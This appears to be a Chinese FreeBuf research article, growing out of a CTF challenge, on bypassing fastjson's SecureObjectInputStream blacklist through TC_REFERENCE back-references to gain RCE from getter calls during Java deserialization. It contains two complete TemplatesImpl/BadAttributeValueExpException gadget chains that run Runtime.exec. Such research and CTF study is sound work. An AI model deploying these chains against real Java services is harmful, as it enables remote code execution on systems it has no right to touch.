freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

影响fastjson全版本的反序列化过程中的任意getter方法触发RCE
2023-05-05 20:40:01
所属地 四川省

前言

前面提到了使用aliyunCTF中的ezbean一题为例子,详细的分析了为什么JSONArray/JSONObject类的toString方法的调用将会触发getter方法的调用

https://www.freebuf.com/vuls/365414.html

当时选用的环境是fastjson == 1.2.60,在那个环境中,既然可以触发任意可序列化类的getter方法,我们何不考虑不使用题目的sink(也即是MyBean类中的getConnect方法触发JNDI注入),转而使用常用的sink点 ==> TemplateImpl#getOutputProperties方法执行恶意逻辑

ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "xxx");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));

        ObjectInputStream ois = new MyObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

将会出现下面的错误

image-20230504110057915.png

这是因为TemplatesImpl类是在fastjson中的黑名单中

那么是如何检查的?又有什么Bypass方法吗?

SecureObjectInputStream

>=1.2.49

根据调用栈,我们也知道关键是调用了SecureObjectInputStream#resolveClass方法来对反序列化的类进行检查

image-20230504110418405.png

这是在JSONObject类中的一个静态类,其通过重写ObjectInputStream#resolveClass方法来进行类的安全性检查

主要是在ParserConfig#checkAutoType方法中进行检查

image-20230504110737244.png

针对checkAutoType这个方法的作用,如果跟进过fastjson的漏洞,将会非常熟悉,这里简单的描述一下

image-20230504111037305.png

这里如果开启了autoTypeSupport,将会按照先白名单后黑名单的方式检查

image-20230504111123983.png

而如果没有开启autoTypeSupport,相反将会按照先黑名单后白名单的方式进行检查

在高版本fastjson中,默认是关闭autoTypeSupport的,所以选用第二种检查方式,在黑名单检验中检测出安全风险,抛出了异常

而黑名单是在ParserConfig的静态代码块中进行传递

image-20230504111439627.png

有一个对应的项目,具有部分hash的黑名单类

GitHub - LeadroyaL/fastjson-blacklist

image-20230504111619586.png

这里是直接将com.sun这个包名下的所有类都给列入了黑名单

而最终SecureObjectInputStream这个类是在JSONObjectj / JSONArray类中的readObject方法中实现的

image-20230504111900148.png

image-20230504111922387.png

< 1.2.49

上面叙述的特性是在1.2.49版本及之后存在的

然而在1.2.49之前的版本中,虽然这两个类实现了Serialiable接口,但是并没有重写自己的readObject方法

image-20230504112305186.png

Bypass思路

逆向研究

既然是要是在反序列化过程中因为调用了resolveClass方法而进行的安全性检查,那么有没有什么方法能够跳过这个方法的调用?

我们反方向探究一下

image-20230504110057915.png

我们在readNonProxyDesc方法调用resovleClass方法的位置打下断点

image-20230504114338529.png

image-20230504114359885.png

对于readNonProxyDesc方法的主要功能

读取并返回一个非动态代理类的类描述符。将passHandle设置为类描述符的指定句柄。如果类描述符不能被解析为本地虚拟机中的一个类,一个ClassNotFoundException将与描述符的句柄相关

而该方法也是在readClassDesc方法中调用的

image-20230504114533617.png

这个方法的功能为:

读入并返回(可能为空)类描述符。将passHandle设置为类描述符的指定句柄。如果类描述符不能被解析为本地虚拟机中的一个类,一个ClassNotFoundException将与该类描述符的句柄相关。

主要是通过获取tc之后进行判断不同的case语句中

  1. TC_NULL: readNull调用

  2. TC_REFERENCE: readHandle调用

  3. TC_PROXYCLASSDEC / TC_CLASSDEC: readProxyDec / readNonProxyDec的调用

向上可以追溯到readObject0的调用

image-20230504201809282.png

readObject0方法是对readObject方法的一种底层的实现

image-20230504201939938.png

根据不同的类型执行不同的操作,大致可以做出下面的总结

最后会执行resolveClass方法的方法有:

  1. readClass

  2. readClassDesc

  3. readArray

  4. readOrdinaryObject

  5. ......

对比一下就只有下面的类型不会调用resolveClass方法

  1. Null

  2. Reference

  3. String / LongString

  4. Enum

  5. Exception

  6. ......

我们这里需要的是一个恶意的JSONArray / JSONObject对象,所以不可能是NULL / String / LongString / Enum / Exception等等类型

只能选择Reference这个入口点

ObjectStreamConstants接口中存在有对TC_REFERENCE变量的解释

image-20230504202900752.png

这是一种对已经写入流中的对象的一种引用

TC_REFERENCE是一个控制指令,用于序列化时标识一个对象已经在序列化流中出现过,这样在后续出现该对象时就不需要再将该对象的整个对象图写入流中,而只需要写入一个引用标识即可

类似的,我们就可以序列化过程中在首先序列化了一个恶意的JSONArray / JSONObject类之后再次序列化同样的对象,在序列化第二个恶意对象之后,将不会再次序列化完整的对象,只会创建一个引用标识,指向前面已经序列化了的对象,同样的,在反序列化的过程中,针对第二个恶意对象,在获取该对象的控制指令,也即是代码中的由bin.peekByte()获取的变量tc,将是TC_REFERENCE表明一种引用类型

避免了反序列化正常的类将会调用resolveClass方法来进行类的安全性检查

那么如何创建一个引用类型?

有很多种,以HashMap为代表的能够存储key-value键值对且可序列化的类,在key-value为相同的恶意对象将会创建一个引用类型

  1. HashMap

  2. ConcurrentHashMap

  3. LinkedHashMap

  4. IdentityHashMap

ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "xxx");
        setValue(templates, "_tfactory", null);

        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);

	    ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap();
        concurrentHashMap.put(templates, val);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(concurrentHashMap);

        System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));

        ObjectInputStream ois = new MyObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

image-20230504205752861.png

ezBean的第二解

有了这种思路,在ezBean题目中使用的fastjson 1.2.60版本,理论上如果没有对getter方法的sink点进行限制,且目标环境中存在有fastjson的依赖,同时具有反序列化的入口,都是能够通过这种方法RCE

resolveClass的认识

resolveClass方法本身是为了在反序列化的过程中进行安全性检查,防止恶意类的利用,在fastjson 1.2.48版本中在JSONArray / JSONObject的readObject方法中仅仅实现了SecureObjectInputStream类的安全,而并没有实现任何的反序列化逻辑应该也是有着这样的安全考虑

但是这种绕过SecureObjectInputStream的检查思路,不仅仅只可以用在fastjson中,在其他的环境中同样有着类似的Bypass思路

启示: 安全的反序列化检查应该置于source点,而不是在反序列化过程中进行检查,可能会存在绕过的风险

参考

https://github.com/LeadroyaL/fastjson-blacklist

https://y4tacker.github.io/

https://github.com/Drun1baby/CTF-Repo-2023/tree/main/2023/%E9%98%BF%E9%87%8C%E4%BA%91CTF/web/ezbean

# web安全 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录